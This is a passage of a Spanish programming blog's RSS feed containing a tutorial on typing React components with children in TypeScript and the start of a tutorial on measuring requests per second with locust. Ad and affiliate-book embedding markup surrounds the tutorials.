.ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Typescript requiere que especifiquemos los types para las diferentes variables y argumentos de funciones en React. Cuando son tipos nativos no es muy complicado, pero para componentes de React puede llegar a ser diferente. Aquí dejo 3 maneras de especificar los types para componentes de React que contienen children como parte de sus props.&lt;/p&gt;&#xA;&lt;h2 id=&#34;types-con-reactnode&#34;&gt;Types Con ReactNode&lt;/h2&gt;&#xA;&lt;p&gt;La manera más sencilla es de manera manual, especificando a children como un nodo de React opcional.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; React from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;type props &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    children&lt;span style=&#34;color:#ff6ac1&#34;&gt;?:&lt;/span&gt; React.ReactNode&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; MyComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ children }&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; Props) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;div&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            {children}      &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;/div&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; MyComponent&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;usando-reactfc&#34;&gt;Usando React.FC&lt;/h2&gt;&#xA;&lt;p&gt;La segunda manera es usando un el objeto FC (Functional Component) que nos provee React, el cual deja implícito el uso de children y además evita que devolvamos undefined. Considera que usar &lt;em&gt;React.FC&lt;/em&gt; es &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/por-que-usar-reactfc-podria-ser-una-mala-practica/&#34;&gt;considerado por algunos desarrolladores como una mala práctica&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; React from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; MyComponent&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; React.FC&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;{}&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ children }) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;div&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            {children}      &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;/div&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; MyComponent&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;reactpropswithchildren&#34;&gt;React.PropsWithChildren&lt;/h2&gt;&#xA;&lt;p&gt;La última manera es haciendo uso del objeto PropsWithChildren que provee React que, como dice su nombre, ya incluye los props con el componente children, listo para usarse de manera directa.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; React from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;type Props &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; React.PropsWithChildren&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;{}&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; MyComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ children }&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; Props) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;div&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            {children}      &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;/div&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; MyComponent&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Mira lo que Typescript tiene para decir en React en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.typescriptlang.org/docs/handbook/jsx.html#react-integration&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;su documentación oficial.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Si estás dudando sobre qué tipos utilizar para los componentes de React que tienen hijos en Typescript, para que puedas heredarlos correctamente y evitar errores, entonces este es el post que necesitas leer, te explico tres enfoques diferentes que puedes guardar y utilizar como parte de tus habilidades en Typescript.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este es el recurso que leí para aprender algoritmos, y por lo tanto puedo recomendar. Es mucho más entendible que SICP y te enseña todo lo que necesitas saber sobre el tema, desde la complejidad hasta aproximaciones heurísticas. Consulta el resto de libros que leo y recomiendo en mi perfil.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del manual de diseño de algoritmos\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-algorithm-design-manual.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4gUpFoa\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del manual de diseño de algoritmos y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender todo sobre algoritmos?\&#34;},{\&#34;description\&#34;:\&#34;Seguramente ya sabes que la mayoría de entrevistas técnicas no reflejan la realidad laboral del día a día. Sin embargo, a pesar de eso, es necesario superarlas si deseas conseguir un trabajo en una empresa. Este libro trata a fondo todo lo que necesitas para superar cada una de las fases de las entrevistas laborales, incluída la parte algorítmica. Algo largo, pero muy completo, lo recomiendo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Cracking the code interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1741221792/cracking-the-code-interview-book_600_widryi.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41Hx5GZ\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Cracking the code interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo pasar las entrevistas técnicas?\&#34;},{\&#34;description\&#34;:\&#34;Este es EL LIBRO cuando se trata de Javascript. Es una guía completa que cubre todo lo que necesitas saber, desde la declaración de variables, al funcionamiento interno de las promesas e incluso te explica como crear un compilador en Javascript (No tan eficiente como uno compilado, pero ideal para aprender), si vas a leer solo un libro de Javascript, que sea este.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Eloquent Javascript\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/eloquent-javascript.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QvqSYt\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Eloquent Javascript y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde mejorar sus conocimientos de Javascript?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Cómo medir las peticiones por segundo con locust en python?</title>
      <link>https://coffeebytes.dev/es/python/como-medir-las-peticiones-por-segundo-con-locust-en-python/</link>
      <pubDate>Tue, 12 Oct 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/python/como-medir-las-peticiones-por-segundo-con-locust-en-python/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Existen herramientas bastante sencillas de utilizar que permiten auditar el número de peticiones por segundo que soporta un sitio web (rps), locust es una de ellas, está hecha en Python y con una mínima configuración nos permite procesar información y obtener gráficos al instante, y en tiempo real, del comportamiento de nuestro sitio web.&lt;/p&gt;&#xA;&lt;h2 id=&#34;instalar-locust&#34;&gt;Instalar locust&lt;/h2&gt;&#xA;&lt;p&gt;El primer paso es instalarlo usando pip o cualquier manejador de entornos virtuales.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install &lt;span style=&#34;color:#ff5c57&#34;&gt;locust&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;2.2.3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;configuracion-de-locust&#34;&gt;Configuración de locust&lt;/h2&gt;&#xA;&lt;p&gt;Una vez instalado vamos a crear un archivo llamado, de manera obligatoria, &lt;em&gt;locustfile.py&lt;/em&gt; en nuestra aplicación y vamos a colocarle el siguiente código.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; locust &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpUser, task&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;HelloWorldUser&lt;/span&gt;(HttpUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_home&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Creamos una clase que importe de &lt;em&gt;Httpuser&lt;/em&gt; y le asignamos un método con el decorador task. Más abajo usamos el método get de client y le pasamos la ruta a la que se realizará la petición.&lt;/p&gt;&#xA;&lt;p&gt;Ahora ejecutamos el comando locust desde la terminal.&lt;/p&gt;&#xA;&lt;blockquote&#xA;    class=&#34;instagram-media&#34;&#xA;    data-instgrm-captioned&#xA;    data-instgrm-permalink=&#34;https://www.instagram.com/p/CVLzvfYLd7o&#34;&#xA;    data-instgrm-version=&#34;14&#34;&#xA;    style=&#34;&#xA;      background: #fff;&#xA;      border: 0;&#xA;      border-radius: 3px;&#xA;      box-shadow: 0 0 1px 0 rgba(0, 0, 0, 0.5), 0 1px 10px 0 rgba(0, 0, 0, 0.15);&#xA;      margin: 1px;&#xA;      max-width: 540px;&#xA;      min-width: 326px;&#xA;      padding: 0;&#xA;      width: 99.375%;&#xA;      width: -webkit-calc(100% - 2px);&#xA;      width: calc(100% - 2px);&#xA;    &#34;&#xA;  &gt;&#xA;    &lt;div style=&#34;padding: 16px&#34;&gt;&#xA;      &lt;a&#xA;        href=&#34;https://www.instagram.com/p/CVLzvfYLd7o&#34;&#xA;        style=&#34;&#xA;          background: #ffffff;&#xA;          line-height: 0;&#xA;          padding: 0 0;&#xA;          text-align: center;&#xA;          text-decoration: none;&#xA;          width: 100%;&#xA;        &#34;&#xA;        target=&#34;_blank&#34;&#xA;      &gt;&#xA;        &lt;div style=&#34;display: flex; flex-direction: row; align-items: center&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 50%;&#xA;              flex-grow: 0;&#xA;              height: 40px;&#xA;              margin-right: 14px;&#xA;              width: 40px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              display: flex;&#xA;              flex-direction: column;&#xA;              flex-grow: 1;&#xA;              justify-content: center;&#xA;            &#34;&#xA;          &gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                margin-bottom: 6px;&#xA;                width: 100px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                width: 60px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 19% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;display: block; height: 50px; margin: 0 auto 12px; width: 50px&#34;&#xA;        &gt;&#xA;          &lt;svg&#xA;            width=&#34;50px&#34;&#xA;            height=&#34;50px&#34;&#xA;            viewBox=&#34;0 0 60 60&#34;&#xA;            version=&#34;1.1&#34;&#xA;            xmlns=&#34;https://www.w3.org/2000/svg&#34;&#xA;            xmlns:xlink=&#34;https://www.w3.org/1999/xlink&#34;&#xA;          &gt;&#xA;            &lt;g stroke=&#34;none&#34; stroke-width=&#34;1&#34; fill=&#34;none&#34; fill-rule=&#34;evenodd&#34;&gt;&#xA;              &lt;g transform=&#34;translate(-511.000000, -20.000000)&#34; fill=&#34;#000000&#34;&gt;&#xA;                &lt;g&gt;&#xA;                  &lt;path&#xA;                    d=&#34;M556.869,30.41 C554.814,30.41 553.148,32.076 